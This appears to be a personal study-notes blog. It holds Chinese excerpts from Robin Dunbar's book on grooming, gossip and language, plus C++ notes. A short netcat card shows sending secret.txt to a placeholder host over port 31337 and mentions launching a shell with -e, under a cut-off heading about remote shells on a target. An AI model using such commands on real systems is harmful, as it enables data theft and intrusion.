Blog

右脑更敏感意味着将对手置于左侧视野

Content #

我认为右脑主要负责处理情感信息。

有证据表明当有关情感的蛛丝马迹出现在视线左侧时,大脑的识别速度更快(传送至右脑)。这是动物世界的普遍特征,大脑一侧的视觉识别能力更强,似乎古已有之。2.5亿年前的三叶虫化石中右侧疤痕更密,可见捕食者的袭击通常来自其左方。在2000万年前的海豚骨骼化石中鲨鱼牙印亦分布于右侧,再次表明捕食者习惯将猎物锁定在其左边视野中。

现存物种的相关证据表明,该趋势进一步进化使大脑对身体左侧的视觉和情感细节更为敏感。

朱莉娅·卡斯普特(Julia Casperd)和我已证实雄性狮尾狒打斗时倾向于将对手锁定在视野左方。初次交锋时动物彼此通过表情示意,互相威胁。若双方均未让步,最终便升级为身体攻击。显然,雄性必须监视对手的一举一动,不可错过任何能表露对方真实意图的蛛丝马迹。对方的威胁是不是在虚张声势?眼神闪烁是否流露出打退堂鼓的念头?

右脑更敏感意味着将对手置于左侧视野(让影像传送至视网膜右侧),可确保不遗漏任何细枝末节。

人类也是如此。你是否察觉拍照时人们将头偏向一方,以左脸正对镜头。翻看家庭相册时,你会发现人们在随意摆拍时通常会将头稍微转向右侧,以左眼余光看镜头,唯有合照等正式摆拍时方会正对镜头。

From #

《梳毛、八卦及语言的进化》 [英]罗宾·邓巴

早产儿人类

Content #

老鼠的小脑袋仅有10克,妊娠周期为3周,而大象脑容量和人类一样,妊娠周期为21个月。所有哺乳类物种的妊娠周期都在这个范围内,可见脑组织在妊娠周期内逐步发育,有赖于母体为胎儿供应额外能量的能力。实际上,婴儿的脑容量决定了妊娠时间的长短,所有物种都在大脑发育大致完成时分娩。灵长类婴儿在大脑完全发育后才出生,出生后大脑生长变化不大。

然而人类是个例外。

人类婴儿大脑发育不到三分之一便出生了。剩余的部分在出生后第一年继续生长发育。按照和我们脑容量相当的传统哺乳动物的妊娠期公式计算,妊娠时间需要 21个月,这与人类婴儿大脑发育完全所需要的时间相吻合:子宫里9个月的妊娠期加上出生后12个月。因而,人类婴儿是不具备自我照料能力的“早产儿”。猴子或猿类的幼崽出生后即可行走,几周之内便能成为社交群体中能干的一员。相反,一般人类婴儿出生后,连发出咯咯声犒劳父母的辛苦都做不到。到一周岁生日时,大脑全面发育,才能够学习走路,开始正常生活。

From #

《梳毛、八卦及语言的进化》 [英]罗宾·邓巴

肠胃尺寸限制了大脑容量

Content #

尽管我们的大脑容量比其他灵长类的大(更耗能),但是我们身体产出的能量与同等体型的哺乳动物的不相伯仲。那么没有额外的能源补充,我们是如何维持更大的大脑运转的?

莱斯利·艾洛和彼得·韦勒最近指出,答案在于人类的肠胃要比同等体型的哺乳动物的小。他们发现,身体各部分的能量消耗中,大脑、心脏、肾脏、肝脏和连接这些器官的肠道耗能占哺乳动物耗能的85%~90%。因此,脑容量增大所需的额外能量必然来自这些器官。问题在于心脏、肾脏和肝脏与哺乳动物的体型密切相关,它们负责维持健康的组织活动。心脏小了供血就减少,肌肉就无法积存力量进行高强度运动;肾脏或肝脏小了,血液排毒代谢减缓,肌肉能量就减少(血液未能排毒,身体中毒风险增高)。

总而言之,要节省能量供应给大脑,唯一能精减的是肠胃。

然而,如果肠胃尺寸减小,血液从食物中吸收的能量便降低。这不是自相矛盾吗?

肠胃从食物吸收能量的比率与其面积相关,也就是与肠胃总容量相关,肠胃尺寸最终限制了大脑容量。想要获得更大的脑容量,体型必须增大来容纳更大的肠胃。小猴子之所以不太聪明(无关乎语言),是因为它们体型太小装不下足够大的肠胃来支持大脑袋的神经活动。

有一个办法破解这一死结,原始人祖先正是这么做的。肠胃尺寸减小后为保持能量摄入,可以选择营养更丰富或更容易吸收的食物。如此一来,肠胃可以消耗较少的能量吸收同等营养。

艾洛和韦勒认为我们祖先的超级大脑之所以有可能形成,是因为他们大规模转向肉食,才能组成更大的群体,迁徙扩散,开拓世界。才能从非洲东部和南部的祖先家园,迈向更广阔的天地,如同池塘里扩散开的涟漪。

From #

《梳毛、八卦及语言的进化》 [英]罗宾·邓巴

人类群体规模是黑猩猩群体规模的三倍

Content #

既然每次只能有一个人说话(除了偶尔同时说话或试图打断插话),会话组人数不超过4人,就意味着会有3位听众。这是有趣的数字,因为正好是传统梳毛互动对象数的3倍——通常是1对1梳毛。

灵长类中最大的群体黑猩猩,其平均群体规模为55只左右(注意是平均群体规模,而不是最大规模)。我们推算(和观察)的现代人类群体规模为150人,几乎刚好是它们的3倍,这也许是惊人的巧合。

换言之,群体规模和会话互动对象数量成正比:传统梳毛互动为1:1,人类会话为1:3,我认为人类群体规模之所以是黑猩猩的3倍,是因为投入同等的社交精力,人类可以与3倍于黑猩猩的对象数量互动。

From #

《梳毛、八卦及语言的进化》 [英]罗宾·邓巴

闲聊是对名声的管理

Content #

牛津大学的心理学家尼古拉斯·艾姆勒(Nicholas Emler)对闲聊及其作用特别感兴趣。他在邓迪大学期间研究了苏格兰人的会话,同样,他得出的数据也是谈论社交话题的时间占60%~70%。他认为闲聊最重要的作用之一,是让人了解(当然也影响)其他人的名声和自己的名声。在他看来,闲聊是对名声的管理。

From #

《梳毛、八卦及语言的进化》 [英]罗宾·邓巴

sub:ncat

Content #

The DGAPING_SECURITY_HOLE option allows an operator to execute programs using the –e switch to do a number of powerful tasks, including launching a shell.

Transferring data with netcat #

In server:

ncat -v -w 30 -p 31337 -l < secret.txt

-w switch instructs Netcat to wait for a specific number of seconds before timing out the connection. In client:

ncat -v -w 2 x.x.x.x 31337 > secret.txt

Using Netcat to get a remote shell on a target computer #

  1. Preparing the listener

    ...

explicit(C++ keyword)

Content #

The explicit keyword in C++ is used to mark constructors to not implicitly convert types. For example, if you have a class Foo:

class Foo {
public:
    Foo(int n); // allocates n bytes to the Foo object
    Foo(const char *p); // initialize object with char *p
};

Now if you try:

Foo mystring = 'x';

The char ‘x’ is implicitly converted to int and then will call the Foo(int) constructor. But this is not what was intended. So to prevent such conditions and make the code less error-prone, define the constructor as explicit :

...

对象切割(object slicing)

Content #

对象切割(object slicing)是 C++ 特有的一种编码错误,这是一种什么错误?

In C++, a derived class object can be assigned to a base class object, but the other way is not possible.

class Base { int x, y; };
class Derived : public Base { int z, w; };
int main()
{
        Derived d;
        Base b = d; // Object Slicing, z and w of d are sliced off
}

Object slicing happens when a derived class object is assigned to a base class object, additional attributes of a derived class object are sliced off to form the base class object.

...

The Rule of Three

Content #

控制对象的拷贝的三个操作:

  1. the copy constructor
  2. copy-assignment operator
  3. destrutor

定义这三个操作的两条规则分别是什么?

  1. Classes That Need Destructors Need Copy and Assignment.
  2. Classes That Need Copy Need Assignment, and Vice Versa.

From #

Strict Weak Ordering

Content #

  1. antisymmetric If x < y is true, then y < x is false. If op(x,y) is true, then op(y,x) is false.

  2. transitive If x < y is true and y < z is true, then x < z is true. If op(x,y) is true and op(y,z) is true, then op(x,z) is true.

  3. irreflexive x < x is always false. op(x,x) is always false.

  4. transitivity of equivalence If !(a<b) && !(b<a) is true and !(b<c) && !(c<b) is true then !(a<c) && !(c<a) is true. If op(a,b), op(b,a), op(b,c), and op(c,b) all yield false, then op(a,c) and op(c,a) yield false.

    ...